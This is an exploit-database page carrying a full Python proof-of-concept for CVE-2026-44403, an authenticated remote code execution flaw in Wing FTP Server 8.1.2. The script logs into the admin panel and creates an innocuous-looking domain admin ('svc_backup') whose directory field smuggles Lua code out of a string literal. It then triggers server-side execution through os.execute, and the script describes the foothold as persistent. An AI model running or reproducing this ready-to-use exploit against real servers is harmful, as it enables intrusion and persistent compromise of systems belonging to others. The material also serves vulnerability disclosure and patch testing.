Share
## https://sploitus.com/exploit?id=PACKETSTORM:222255
# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution 
    # Date: 12.05.2026
    # Exploit Author: Ünsal Furkan Harani
    # Vendor Homepage:
    [https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
    # Software Link:
    https://www.wftpserver.com/download.htm
    # Version: v8.1.2
    # Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
    # CVE : CVE-2026-44403
    
    Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.
    
    #!/usr/bin/env python3
    """
    PREREQUISITES:
      - Valid full admin credentials (not readonly, not domain admin)
      - Target: Wing FTP Server web admin panel (default port 5466)
    
    IMPACT:
      Remote Code Execution as the Wing FTP Server service account.
      Persistence: payload re-executes every time the poisoned session is loaded.
    """
    
    import requests
    import hashlib
    import json
    import sys
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    class WingFTPSessionPoisoning:
        def __init__(self, target, admin_user, admin_pass, use_ssl=False):
            proto = "https" if use_ssl else "http"
            self.base_url = f"{proto}://{target}"
            self.admin_user = admin_user
            self.admin_pass = admin_pass
            self.session = requests.Session()
            self.session.verify = False
    
        def login(self):
            """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
            # service_login.html accepts credentials via POST
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": self.admin_user,
                "password": self.admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
            resp = self.session.post(url, data=data, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Login successful as '{self.admin_user}'")
                    return True
                elif result.get("code") in (1, 2):
                    print(f"[-] 2FA required β€” this PoC doesn't handle TOTP")
                    return False
                else:
                    print(f"[-] Login failed: {result}")
                    return False
            except Exception:
                # Legacy endpoint (admin_loginok.html) returns HTML
                if "logged in ok" in resp.text or "main.html" in resp.text:
                    print(f"[+] Login successful (legacy endpoint)")
                    return True
                print(f"[-] Login failed: {resp.text[:200]}")
                return False
    
        def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """
            Create a domain admin with a poisoned 'mydirectory' (basefolder) field.
    
            The mydirectory value will be serialized as:
                _SESSION['admin_basefolder']=[[<mydirectory_value>]]
    
            Our payload breaks out of the [[ ]] long string:
                _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]
    
            When this session file is loaded via loadfile() + f(), the payload executes.
            """
            # Construct the poisoned basefolder value
            # Format: <innocent_prefix>]]<lua_code>--
            # The ]] closes the long string, code executes, -- comments out the rest
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,        # Make it a domain admin
                "domainlist": "",         # Will be set by server
                "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            url = f"{self.base_url}/service_add_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
            print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
            # Use multipart/form-data β€” Wing FTP's Lua POST parser handles it more reliably
            resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)
    
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Poisoned admin created successfully!")
                    return True
                elif result.get("code") == -3:
                    print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                    return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
                else:
                    print(f"[-] Failed to create admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
            """Modify existing admin to inject the poisoned basefolder."""
            poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
    
            admin_obj = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
                "readonly": False,
                "domainadmin": 1,
                "domainlist": "",
                "mydirectory": poisoned_basefolder,
                "ipmasks": [],
                "enable_two_factor": False,
                "two_factor_code": "",
            }
    
            # service_modify_admin.html has NO bracket stripping at all
            url = f"{self.base_url}/service_modify_admin.html"
            headers = {
                "Referer": f"{self.base_url}/main.html",
            }
            admin_json = json.dumps(admin_obj, separators=(',', ':'))
    
            resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
            try:
                result = resp.json()
                if result.get("code") == 0:
                    print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                    return True
                else:
                    print(f"[-] Failed to modify admin: {result}")
                    return False
            except Exception:
                print(f"[-] Unexpected response: {resp.text[:200]}")
                return False
    
        def trigger_payload(self, poison_admin_user, poison_admin_pass):
            """
            Trigger the payload by logging in as the poisoned domain admin.
    
            On login, service_login.html:95-96 stores the basefolder in session:
                rawset(_SESSION,"admin_basefolder",basefolder)
                rawset(_SESSION,"admin_nowpath",basefolder)
    
            SessionModule.save() serializes it as:
                _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]
    
            The payload executes on the NEXT session load (any subsequent request).
            """
            print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")
    
            trigger_session = requests.Session()
            trigger_session.verify = False
    
            url = f"{self.base_url}/service_login.html"
            data = {
                "username": poison_admin_user,
                "password": poison_admin_pass,
            }
            headers = {
                "Referer": f"{self.base_url}/admin_login.html",
            }
    
            # Step 1: Login β€” stores poisoned basefolder in session
            resp = trigger_session.post(url, data=data, headers=headers)
            print(f"[*] Login response: {resp.text[:200]}")
    
            # Step 2: Any subsequent request triggers loadfile() on the session file
            # The session file now contains the Lua payload
            trigger_url = f"{self.base_url}/service_get_dir_list.html"
            headers["Referer"] = f"{self.base_url}/main.html"
            resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
            print(f"[*] Trigger response: {resp2.status_code}")
            print(f"[+] Payload should have executed on the server!")
    
            return True
    
    def demo_session_file():
        """
        Demonstrate what the poisoned session file looks like.
        Shows the exact Lua code that gets written and executed.
        """
        print("=" * 70)
        print("DEMONSTRATION: Poisoned Session File Content")
        print("=" * 70)
    
        payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
        basefolder = f'/tmp/x]]{payload}--'
    
        print(f"\n[1] Admin sets mydirectory to:")
        print(f"    {basefolder}")
    
        print(f"\n[2] On login, session is saved. serialize() outputs:")
        session_content = f"""_SESSION['admin']=[[poisoned_admin]]
    _SESSION['admin_basefolder']=[[{basefolder}]]
    _SESSION['admin_domainadmin']=1
    _SESSION['admin_domainlist']=[[]]
    _SESSION['admin_nowpath']=[[{basefolder}]]
    _SESSION['admin_readonly']=0
    _SESSION['ipaddress']=[[127.0.0.1]]
    _SESSION['logined']=[[true]]"""
    
        print(f"    --- session file content ---")
        for line in session_content.split('\n'):
            print(f"    {line}")
        print(f"    --- end ---")
    
        print(f"\n[3] Lua parser sees the basefolder line as:")
        print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
        print(f"    {payload}                                 --> EXECUTED AS CODE!")
        print(f"    --]]                                      --> comment (ignored)")
    
        print(f"\n[4] Same for admin_nowpath line β€” payload executes TWICE.")
    
        print(f"\n[5] Result: '{payload}' runs as server process.")
        print("=" * 70)
    
    def main():
        if len(sys.argv) < 2:
            print(f"Usage: {sys.argv[0]} <mode> [args...]")
            print(f"")
            print(f"Modes:")
            print(f"  demo                              β€” Show how the vulnerability works")
            print(f"  exploit <host:port> <user> <pass>  β€” Create poisoned admin and trigger RCE")
            print(f"")
            print(f"Examples:")
            print(f"  {sys.argv[0]} demo")
            print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
            sys.exit(1)
    
        mode = sys.argv[1]
    
        if mode == "demo":
            demo_session_file()
    
        elif mode == "exploit":
            if len(sys.argv) < 5:
                print("Usage: exploit <host:port> <admin_user> <admin_pass>")
                sys.exit(1)
    
            target = sys.argv[2]
            admin_user = sys.argv[3]
            admin_pass = sys.argv[4]
    
            # Default payload β€” write proof file (Windows-compatible)
            lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
    
            poison_admin = "svc_backup"
            poison_pass = "P@ssw0rd123!"
    
            print(f"[*] Wing FTP Server Session Poisoning RCE β€” Chain 2")
            print(f"[*] Target: {target}")
            print(f"[*] Payload: {lua_payload}")
            print(f"[*] Poisoned admin account: {poison_admin}")
            print()
    
            exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)
    
            if not exploit.login():
                sys.exit(1)
    
            if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
                sys.exit(1)
    
            exploit.trigger_payload(poison_admin, poison_pass)
    
            print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
        else:
            print(f"Unknown mode: {mode}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    Sent with [Proton Mail](https://proton.me/mail/home) secure email.